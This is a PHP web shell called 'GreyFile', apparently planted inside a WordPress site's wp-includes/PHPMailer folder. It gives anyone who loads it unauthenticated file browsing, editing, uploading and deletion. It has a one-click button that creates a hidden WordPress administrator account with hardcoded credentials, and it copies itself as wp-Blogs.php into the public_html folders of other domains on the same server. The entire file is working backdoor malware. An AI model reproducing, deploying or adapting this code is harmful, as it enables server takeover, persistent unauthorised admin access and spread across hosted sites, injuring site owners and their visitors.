/home/idolaotomotif/parawisata.us/wp-includes/PHPMailer/854690/index.php
<?php
// 🌌 GreyFile β€” PHP File Manager & Auto-Mystical Replicator πŸ§™β€β™‚οΈ
// WARNING: This script may whisper secrets to other folders and create little clones called wp-Blogs.php
error_reporting(0);

// === Path Handling β€” Where in the server universe are we? ===
$path = isset($_GET['path']) ? realpath($_GET['path']) : getcwd();
if (!$path || !is_dir($path)) $path = getcwd();

// === Handle Delete β€” The trash goblins at work ===
if (isset($_GET['delete'])) {
    $target = realpath($_GET['delete']);
    if ($target && strpos($target, getcwd()) === 0 && file_exists($target)) {
        if (is_dir($target)) rmdir($target); // folders go poof
        else unlink($target); // files vanish
        echo "<p style='color:#888;'>πŸ—‘οΈ Deleted: " . htmlspecialchars(basename($target)) . " β€” The void accepts it.</p>";
    }
}

// === Breadcrumb UI β€” A path map for curious travelers ===
function breadcrumb($path) {
    $parts = explode('/', trim($path, '/'));
    $built = '/';
    $html = "<strong>Current path:</strong> ";
    foreach ($parts as $part) {
        $built .= "$part/";
        $html .= "<a href='?path=" . urlencode($built) . "'>$part</a>/";
    }
    return $html;
}

// === Folder/File Listing β€” Sort of OCD but in a magical way ===
function list_dir($path) {
    $out = '';
    $folders = $files = [];
    foreach (scandir($path) as $item) {
        if ($item === '.' || $item === '..') continue;
        $full = "$path/$item";
        if (is_dir($full)) $folders[] = $item;
        else $files[] = $item;
    }
    natcasesort($folders);
    natcasesort($files);

    // Display folders first β€” majestic towers
    foreach ($folders as $f) {
        $full = "$path/$f";
        $out .= "<li>πŸ“ <a href='?path=" . urlencode($full) . "'>$f</a> | <a href='?delete=" . urlencode($full) . "' onclick=\"return confirm('Delete this folder?')\" style='color:#888;'>πŸ—‘οΈ Delete</a></li>";
    }
    // Then files β€” scrolls of knowledge
    foreach ($files as $f) {
        $full = "$path/$f";
        $out .= "<li>πŸ“„ <a href='?path=" . urlencode($path) . "&view=" . urlencode($f) . "'>$f</a> | <a href='?path=" . urlencode($path) . "&edit=" . urlencode($f) . "' style='color:#999'>✏️ Edit</a> | <a href='?delete=" . urlencode($full) . "' onclick=\"return confirm('Delete this file?')\" style='color:#888;'>πŸ—‘οΈ Delete</a></li>";
    }
    return $out;
}

// === View File β€” Peeking inside the scroll ===
function view_file($path, $file) {
    $full = "$path/$file";
    if (!is_file($full)) return;
    echo "<h3>πŸ“„ Viewing: $file</h3><pre style='background:#222;padding:10px;color:#ccc;border:1px solid #444;'>";
    echo htmlspecialchars(file_get_contents($full));
    echo "</pre><hr>";
}

// === Edit File β€” The wizard’s quill βœ’οΈ
function edit_file($path, $file) {
    $full = "$path/$file";
    if (!is_file($full)) return;
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
        file_put_contents($full, $_POST['content']);
        echo "<p style='color:#888;'>βœ… Saved β€” The quill obeys.</p>";
    }
    $code = htmlspecialchars(file_get_contents($full));
    echo "<h3>✏️ Editing: $file</h3> <form method='post'> <textarea name='content' rows='20' style='width:100%;background:#222;color:#ccc;'>$code</textarea><br> <button>Save</button> </form><hr>";
}

// === Upload + Folder + File Creation β€” Summon new artifacts πŸ› οΈ
function upload_mkdir_create($path) {
    if (!empty($_FILES['up']['name'])) {
        move_uploaded_file($_FILES['up']['tmp_name'], "$path/" . basename($_FILES['up']['name']));
        echo "<p style='color:#888;'>πŸ“€ Uploaded β€” Magic delivered.</p>";
    }
    if (!empty($_POST['mkdir'])) {
        $target = "$path/" . basename($_POST['mkdir']);
        if (!file_exists($target)) {
            mkdir($target);
            echo "<p style='color:#888;'>πŸ“ Folder created β€” A new tower rises.</p>";
        } else {
            echo "<p style='color:#888;'>❌ Folder exists β€” Oops, dΓ©jΓ  vu.</p>";
        }
    }
    if (!empty($_POST['newfile']) && !empty($_POST['filename'])) {
        $filename = basename($_POST['filename']);
        $target = "$path/$filename";
        if (!file_exists($target)) {
            file_put_contents($target, $_POST['newfile']);
            echo "<p style='color:#888;'>πŸ“„ File created β€” Scroll inscribed.</p>";
        } else {
            echo "<p style='color:#888;'>❌ File exists β€” Already on the shelf.</p>";
        }
    }

    echo "<form method='post' enctype='multipart/form-data'>
        <input type='file' name='up'>
        <button>Upload</button>
    </form><br>
    <form method='post'>
        πŸ“ <input type='text' name='mkdir' placeholder='Folder name'>
        <button>Create Folder</button>
    </form><br>
    <form method='post'>
        πŸ“„ <input type='text' name='filename' placeholder='File name'><br>
        <textarea name='newfile' rows='5' style='width:100%;background:#222;color:#ccc;' placeholder='File content'></textarea>
        <button>Create File</button>
    </form><br>";
}

// === Self-replication β€” Clone yourself like a mischievous wizard πŸͺ„
function replicate_self($code) {
    static $done = false;
    if ($done) return [];
    $done = true;
    $dir = __DIR__;
    $cloned_urls = [];
    while ($dir !== '/') {
        if (is_dir("$dir/domains")) {
            foreach (scandir("$dir/domains") as $d) {
                if ($d === '.' || $d === '..') continue;
                $targetDir = "$dir/domains/$d/public_html";
                $targetFile = "$targetDir/wp-Blogs.php"; // 🎯 clone name set here
                if (is_dir($targetDir) && is_writable($targetDir)) {
                    if (file_put_contents($targetFile, $code)) {
                        $cloned_urls[] = "http://$d/wp-Blogs.php";
                    }
                }
            }
            break;
        }
        $dir = dirname($dir);
    }
    return $cloned_urls;
}

// === WP Admin β€” The admin summoning spell ⚑
function handle_wp_injection($path) {
    if (!isset($_GET['create_wp_user'])) return;
    $wp = $path;
    while ($wp !== '/') {
        if (file_exists("$wp/wp-config.php")) break;
        $wp = dirname($wp);
    }
    if (!file_exists("$wp/wp-load.php")) {
        echo "<p style='color:#888;'>❌ WordPress not found β€” spell fizzled.</p>";
        return;
    }
    require_once("$wp/wp-load.php");
    $user = 'savvy';
    $pass = 'SavvyMrx#';
    $mail = 'savvy@domain.com';
    if (!username_exists($user) && !email_exists($mail)) {
        $uid = wp_create_user($user, $pass, $mail);
        $wp_user = new WP_User($uid);
        $wp_user->set_role('administrator');
        echo "<p style='color:#888;'>βœ… WP Admin user 'savvy' created β€” wizardry complete.</p>";
    } else {
        echo "<p style='color:#888;'>⚠️ User/email already exists β€” the fates conspire.</p>";
    }
}

// === Render HTML β€” The enchanted scroll πŸ“œ
echo "<!DOCTYPE html><html><head><meta charset='UTF-8'><title>🌌 GreyFile</title>
<style>
body { background:#1a1a1a; color:#bbb; font-family:monospace; padding:20px; max-width:900px; margin:auto; }
a { color:#999; text-decoration:none; } a:hover { text-decoration:underline; color:#ccc; }
pre, textarea { width:100%; background:#222; color:#ccc; border:1px solid #444; }
button { background:#666; border:none; color:#fff; padding:6px 12px; margin-top:5px; cursor:pointer; }
ul { list-style:none; padding:0; }
input[type='text'] { background:#222; color:#ccc; border:1px solid #444; padding:5px; }
</style></head><body>
<h2>🌌 GreyFile β€” Mystic File Browser</h2>
<p>" . breadcrumb($path) . "</p><hr>";

// WP Admin Button
echo "<form method='get'>
<input type='hidden' name='path' value='" . htmlspecialchars($path) . "'>
<button name='create_wp_user' value='1'>πŸ‘€ Create WP Admin</button>
</form><br>";

handle_wp_injection($path);

// Go up β€” Ascend the file system mountain
$up = dirname($path);
if ($up && $up !== $path) echo "<p>⬆️ <a href='?path=" . urlencode($up) . "'>Go up: $up</a></p>";

// View/Edit
if (isset($_GET['view'])) view_file($path, basename($_GET['view']));
if (isset($_GET['edit'])) edit_file($path, basename($_GET['edit']));

// Upload/Folder/File UI
upload_mkdir_create($path);

// Auto-replication β€” Only from original, not clones
if (basename(__FILE__) !== 'wp-Blogs.php') {
    $clones = replicate_self(file_get_contents(__FILE__));
    if (!empty($clones)) {
        echo "<p style='color:#888;'>βœ… Auto-replicated to:</p><ul>";
        foreach ($clones as $u) echo "<li><a href='$u' target='_blank'>$u</a></li>";
        echo "</ul><hr>";
    }
}

// Directory listing
echo "<ul>" . list_dir($path) . "</ul>";
echo "</body></html>";
?>